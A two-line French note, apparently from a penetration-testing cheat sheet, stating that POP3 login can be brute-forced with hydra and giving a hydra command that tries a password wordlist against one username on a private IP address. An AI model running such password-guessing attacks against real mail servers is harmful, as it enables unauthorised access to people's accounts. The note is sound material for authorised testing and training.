L'authentification POP3 peut être brute forcée avec hydra.

hydra -V -l username -P wordlist.txt 10.0.12.10 pop3